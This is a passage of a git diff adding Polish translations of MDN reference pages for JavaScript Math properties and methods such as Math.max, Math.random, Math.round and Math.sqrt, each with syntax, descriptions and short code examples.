{{experimental_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/log2e/index.html b/files/pl/web/javascript/referencje/obiekty/math/log2e/index.html new file mode 100644 index 0000000000..29d465fe42 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/log2e/index.html @@ -0,0 +1,42 @@ +--- +title: Math.LOG2E +slug: Web/JavaScript/Referencje/Obiekty/Math/LOG2E +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG2E +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Logarytm o podstawie 2 z E, w przybliżeniu 1.442.</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG2E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>2</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>1.442</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG2E}} = \log_2(e) \approx 1.442</annotation></semantics></math></p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>LOG2E</code> jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.LOG2E</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_LOG2E" name="Przyk.C5.82ad:_Zastosowanie_LOG2E">Przykład: Zastosowanie <code>Math.LOG2E</code></h3> + +<p>Poniższa funkcja zwraca logarytm o podstawie 2 z E:</p> + +<pre class="brush: js language-js">function getLog2e() { + return Math.LOG2E; +} + +getLog2e(); <code class="language-js"><span class="token comment">// 1.4426950408889634</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.exp()")}}</li> + <li>{{jsxref("Math.log()")}}</li> + <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/max/index.html b/files/pl/web/javascript/referencje/obiekty/math/max/index.html new file mode 100644 index 0000000000..40946461d5 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/max/index.html @@ -0,0 +1,43 @@ +--- +title: Math.max() +slug: Web/JavaScript/Referencje/Obiekty/Math/max +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/max +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca największą z podanych liczb.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="syntaxbox"><code>Math.max([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>value1, value2, ...</code></dt> + <dd>liczby.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>max</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez Math.max(), a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.max" name="Przyk.C5.82ad:_Zastosowanie_Math.max">Przykład: Zastosowanie <code>Math.max()</code></h3> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="punctuation token">.</span><span class="function token">max<span class="punctuation token">(</span></span><span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">20</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token"> // 20 +</span>Math<span class="punctuation token">.</span><span class="function token">max<span class="punctuation token">(</span></span><span class="operator token">-</span><span class="number token">10</span><span class="punctuation token">,</span> <span class="operator token">-</span><span class="number token">20</span><span class="punctuation token">)</span><span class="punctuation token">;</span><span class="comment token"> // -10 +</span>Math<span class="punctuation token">.</span><span class="function token">max<span class="punctuation token">(</span></span><span class="operator token">-</span><span class="number token">10</span><span class="punctuation token">,</span> <span class="number token">20</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token"> // 20</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.min()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/min/index.html b/files/pl/web/javascript/referencje/obiekty/math/min/index.html new file mode 100644 index 0000000000..75a892461b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/min/index.html @@ -0,0 +1,44 @@ +--- +title: Math.min() +slug: Web/JavaScript/Referencje/Obiekty/Math/min +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/min +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca najmniejszą z podanych liczb.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.min([<var>value1</var>[, <var>value2</var>[, ...]]])</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>value1, value2, ...</code></dt> + <dd>liczby.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Ponieważ <code>min</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.min()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Przykład_Zastosowanie_Math.min()">Przykład: Zastosowanie <code>Math.min()</code></h3> + +<p>Poniższa funkcja porównuje zmienne <code>x</code> and <code>y</code> i zwraca mniejszą <code>z</code> nich:</p> + +<pre class="brush: js language-js"><code class="language-js">var x = 10, y = -20; +var z = Math.min(x, y);</code></pre> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.max()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/pi/index.html b/files/pl/web/javascript/referencje/obiekty/math/pi/index.html new file mode 100644 index 0000000000..429a21db09 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/pi/index.html @@ -0,0 +1,40 @@ +--- +title: Math.PI +slug: Web/JavaScript/Referencje/Obiekty/Math/PI +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/PI +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Stosunek obwodu okręgu do jego średnicy, w przybliżeniu 3.14159.</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.PI</mi></mstyle><mo>=</mo><mi>π</mi><mo>≈</mo><mn>3.14159</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.PI}} = \pi \approx 3.14159</annotation></semantics></math></p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>PI</code> jest statyczną własnością obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.PI</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_PI" name="Przyk.C5.82ad:_Zastosowanie_PI">Przykład: Zastosowanie <code>Math.PI</code></h4> + +<p>Poniższa funkcja zwraca wartość pi:</p> + +<pre class="brush: js language-js">function getPi() { + return Math.PI; +} + +<code class="language-js"><span class="token function">calculateCircumference<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 6.283185307179586</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Global_Objects/Math", "Math")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/pow/index.html b/files/pl/web/javascript/referencje/obiekty/math/pow/index.html new file mode 100644 index 0000000000..89d0a1c21b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/pow/index.html @@ -0,0 +1,49 @@ +--- +title: Math.pow() +slug: Web/JavaScript/Referencje/Obiekty/Math/pow +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/pow +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca liczbę <code>podstawa</code> podniesioną do potęgi o wykładniku <code>wykładnik</code>, tj. <code>podstawa<sup>wykładnik</sup></code>.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="syntaxbox"><code>Math.pow(podstawa, wykładnik)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>podstawa</code> </dt> + <dd>liczba podnoszona do potęgi.</dd> +</dl> + +<dl> + <dt><code>wykładnik</code> </dt> + <dd>wykładnik potęgi, do której podnoszona jest liczba <code>podstawa</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>pow</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.pow()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.pow" name="Przyk.C5.82ad:_Zastosowanie_Math.pow">Przykład: Zastosowanie <code>Math.pow()</code></h3> + +<pre class="brush: js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">pow<span class="token punctuation">(</span></span><span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 49</span></code></pre> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.cbrt()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.exp()")}}</li> + <li>{{jsxref("Math.log()")}}</li> + <li>{{jsxref("Math.sqrt()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/random/index.html b/files/pl/web/javascript/referencje/obiekty/math/random/index.html new file mode 100644 index 0000000000..af6fa11aa7 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/random/index.html @@ -0,0 +1,67 @@ +--- +title: Math.random() +slug: Web/JavaScript/Referencje/Obiekty/Math/random +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/random +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca pseudolosową, zmiennoprzecinkową liczbę z przedziału <code>[0, 1)</code> ( jedynka nie należy do przedziału). Podstawą generatora liczb losowych (ang.<em> seed</em> ) jest aktualny czas, tak samo jak w języku Java. Ponieważ <code>random</code> jest statyczną metodą obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.random()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p> + +<div class="note"> +<p><strong>Notatka:</strong> <code>Math.random()</code> <strong>nie zapewnia</strong><span class="tlid-translation translation"><span title=""> kryptograficznie bezpiecznych liczb losowych.</span></span> <span class="tlid-translation translation"><span title="">Nie używaj ich do niczego związanego z bezpieczeństwem (np. generowanie haseł).</span></span> <span class="tlid-translation translation"><span title="">Zamiast tego użyj Web Crypto API, a dokładniej:</span></span> metodę {{domxref("RandomSource.getRandomValues()", "window.crypto.getRandomValues()")}}.</p> +</div> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.random()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h3 id="Wartość_zwracana">Wartość zwracana</h3> + +<p><span class="tlid-translation translation"><span title="">Liczba pseudolosowa, zmiennoprzecinkowa zawarta w przedziale <code>[0, 1)</code> (od 0 (włącznie) do 1 (wykluczając 1)).</span></span></p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad_Zastosowanie_Math.random" name="Przyk.C5.82ad:_Zastosowanie_Math.random">Zastosowanie <code>Math.random()</code></h3> + +<p>Zwraca losową liczbę większą lub równą 0 i mniejszą od 1.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> getRandom<span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">return</span> Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<h3 id="Uzyskanie_losowej_liczby_między_dwiema_wartościami"><span class="tlid-translation translation"><span title="">Uzyskanie losowej liczby między dwiema wartościami</span></span></h3> + +<p><span class="tlid-translation translation"><span title="">Ten przykład zwraca losową liczbę znajdującą się pomiędzy określonymi wartościami.</span> <span title="">Zwrócona wartość jest większa lub równa <code>min</code>, i jest mniejsza niż <code>max</code>.</span></span></p> + +<pre><code class="language-js"><span class="keyword token">function</span> <span class="function token">getRandomInt</span><span class="punctuation token">(</span>min<span class="punctuation token">,</span> max<span class="punctuation token">)</span> <span class="punctuation token">{</span> + min <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">ceil</span><span class="punctuation token">(</span>min<span class="punctuation token">)</span><span class="punctuation token">;</span> + max <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>max<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">return</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="punctuation token">(</span>max <span class="operator token">-</span> min<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="operator token">+</span> min<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code> +</pre> + +<h3 id="Uzyskanie_losowej_liczby_między_dwiema_wartościami_z_przedziału_min_max_max_włącznie"><span class="tlid-translation translation"><span title="">Uzyskanie losowej liczby między dwiema wartościami z przedziału <code>[min, max]</code> (<code>max</code> włącznie)</span></span></h3> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">getRandomIntInclusive</span><span class="punctuation token">(</span>min<span class="punctuation token">,</span> max<span class="punctuation token">)</span> <span class="punctuation token">{</span> + min <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">ceil</span><span class="punctuation token">(</span>min<span class="punctuation token">)</span><span class="punctuation token">;</span> + max <span class="operator token">=</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>max<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">return</span> Math<span class="punctuation token">.</span><span class="function token">floor</span><span class="punctuation token">(</span>Math<span class="punctuation token">.</span><span class="function token">random</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">*</span> <span class="punctuation token">(</span>max <span class="operator token">-</span> min <span class="operator token">+</span> <span class="number token">1</span><span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="operator token">+</span> min<span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div class="hidden"> +<p><span class="tlid-translation translation"><span title="">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych.</span> <span title="">Jeśli chcesz przyczynić się do danych, sprawdź <a href="/pl/docs/">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull request'a.</span></span></p> +</div> + +<p>{{Compat("javascript.builtins.Math.random")}}</p> diff --git a/files/pl/web/javascript/referencje/obiekty/math/round/index.html b/files/pl/web/javascript/referencje/obiekty/math/round/index.html new file mode 100644 index 0000000000..4f0729568b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/round/index.html @@ -0,0 +1,50 @@ +--- +title: Math.round() +slug: Web/JavaScript/Referencje/Obiekty/Math/round +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/round +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca daną liczbę zaokrągloną do najbliższej liczby całkowitej.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.round(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli część ułamkowa liczby <code>x</code> wynosi 0.5 lub więcej, argument jest zaokrąglany do najbliższej większej liczby całkowitej. Jeśli część ułamkowa liczby <code>x</code> jest mniejsza niż 0.5, argument jest zaokrąglany do najbliższej mniejszej liczby całkowitej.</p> + +<p>Ponieważ <code>round</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.round()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.round" name="Przyk.C5.82ad:_Zastosowanie_Math.round">Przykład: Zastosowanie <code>Math.round()</code></h3> + +<pre class="brush: js">// zwraca 20 +x = Math.round(20.49) + +// zwraca 21 +x = Math.round(20.5) + +// zwraca -20 +x = Math.round(-20.5) + +// zwraca -21 +x = Math.round(-20.51) +</pre> + +<p> </p> diff --git a/files/pl/web/javascript/referencje/obiekty/math/sign/index.html b/files/pl/web/javascript/referencje/obiekty/math/sign/index.html new file mode 100644 index 0000000000..d6c21d59a1 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/sign/index.html @@ -0,0 +1,118 @@ +--- +title: Math.sign() +slug: Web/JavaScript/Referencje/Obiekty/Math/sign +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign +--- +<div>{{JSRef("Global_Objects", "Math")}}</div> + +<h2 id="Summary" name="Summary">Podsumowanie</h2> + +<p>Funkcja<strong style="font-weight: bold;"> </strong><code><strong>Math.sign() </strong></code>zwraca znak liczby. Wynik wskazuje czy liczba przekazana jako argument jest dodatnia, ujemna lub czy jest zerem.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox"><code>Math.sign(<em>x</em>)</code></pre> + +<h3 id="Parameters" name="Parameters">Parametry</h3> + +<dl> + <dt><code>x</code></dt> + <dd>Liczba, której znak ma zostać określony.</dd> +</dl> + +<h2 id="Description" name="Description">Opis</h2> + +<p>Metoda <code>sign</code> powinna być zawsze używana jako <code>Math.sign()</code>, ponieważ jest metodą statyczną w obiekcie <code>Math</code>. (Nie jako metoda stworzonego obiektu (<code>Math</code> nie jest konstruktorem)).</p> + +<p>Funkcja ma pięć wartości wynikowych <code>1, -1, 0, -0, NaN,</code> które reprezentują odpowiednio: "liczbę dodatnią", "liczbę ujemną", "zero "dodatnie"", <span style="line-height: 1.572;"> "zero "ujemne"" </span><span style="line-height: 1.572;">oraz NaN (parametr nie jest liczbą).</span></p> + +<p>Argument funkcji jest domyślnie konwertowany do <code>number</code>.</p> + +<h2 id="Examples" name="Examples">Przykłady</h2> + +<h3 id="Example:_Using_Math.log" name="Example:_Using_Math.log">Przykład: Użycie <code>Math.sign</code></h3> + +<pre class="brush:js">Math.sign(3) // 1 +Math.sign(-3) // -1 +Math.sign("-3") // -1 +Math.sign(0) // 0 +Math.sign(-0) // -0 +Math.sign(NaN) // NaN +Math.sign("foo") // NaN +Math.sign() // NaN +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-math.sign', 'Math.sign')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Tabela_zgodności_przeglądarek">Tabela zgodności przeglądarek</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop("25")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile("25")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">Zobacz również</h2> + +<ul> + <li>Obiekt {{jsxref("Math")}}, który definiuje tą funkcję.</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/sin/index.html b/files/pl/web/javascript/referencje/obiekty/math/sin/index.html new file mode 100644 index 0000000000..56d31ef74c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/sin/index.html @@ -0,0 +1,51 @@ +--- +title: Math.sin() +slug: Web/JavaScript/Referencje/Obiekty/Math/sin +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sin +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca sinus danej liczby.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.sin(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>sin</code> zwraca wartość numeryczną większą lub równą -1 i mniejszą lub równą 1, stanowiącą sinus argumentu.</p> + +<p>Ponieważ <code>sin</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.sin()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.sin" name="Przyk.C5.82ad:_Zastosowanie_Math.sin">Przykład: Zastosowanie <code>Math.sin()</code></h3> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">sin<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0 +</span>Math<span class="token punctuation">.</span><span class="token function">sin<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0.8414709848078965 +</span> +Math<span class="token punctuation">.</span><span class="token function">sin<span class="token punctuation">(</span></span>Math<span class="token punctuation">.</span>PI <span class="token operator">/</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.acos()")}}</li> + <li>{{jsxref("Math.asin()")}}</li> + <li>{{jsxref("Math.atan()")}}</li> + <li>{{jsxref("Math.atan2()")}}</li> + <li>{{jsxref("Math.cos()")}}</li> + <li>{{jsxref("Math.tan()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html b/files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html new file mode 100644 index 0000000000..76c5b33a3e --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/sqrt/index.html @@ -0,0 +1,46 @@ +--- +title: Math.sqrt() +slug: Web/JavaScript/Referencje/Obiekty/Math/sqrt +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/sqrt +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca pierwiastek kwadratowy danej liczby.</p> + +<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mi>M</mi><mi>a</mi><mi>t</mi><mi>h</mi><mo>.</mo><mi>s</mi><mi>q</mi><mi>r</mi><mi>t</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><msqrt><mi>x</mi></msqrt><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>y</mi><mn>2</mn></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 0, \mathtt{Math.sqrt(x)} = \sqrt{x} = \text{the unique} \; y \geq 0 \; \text{such that} \; y^2 = x</annotation></semantics></math></p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.sqrt(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli wartość <code>x</code> jest ujemna, funkcja <code>sqrt</code> zwraca {{jsxref("NaN")}}.</p> + +<p>Ponieważ <code>sqrt()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.sqrt()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.sqrt" name="Przyk.C5.82ad:_Zastosowanie_Math.sqrt">Przykład: Zastosowanie <code>Math.sqrt()</code></h3> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token number">9</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 3 +</span>Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1.414213562373095 +</span> +Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1 +</span>Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0 +</span>Math<span class="token punctuation">.</span><span class="token function">sqrt<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // NaN</span></code></pre> + +<p> </p> diff --git a/files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html b/files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html new file mode 100644 index 0000000000..224739b4ce --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/sqrt1_2/index.html @@ -0,0 +1,39 @@ +--- +title: Math.SQRT1 2 +slug: Web/JavaScript/Referencje/Obiekty/Math/SQRT1_2 +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/SQRT1_2 +--- +<p>{{jsref}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Pierwiastek kwadratowy z liczby 1/2, albo, inaczej mówiąc, odwrotność pierwiastka kwadratowego z liczby 2, w przybliżeniu 0.707.</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.SQRT1_2</mi></mstyle><mo>=</mo><msqrt><mfrac><mn>1</mn><mn>2</mn></mfrac></msqrt><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mo>≈</mo><mn>0.707</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.SQRT1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707</annotation></semantics></math></p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ 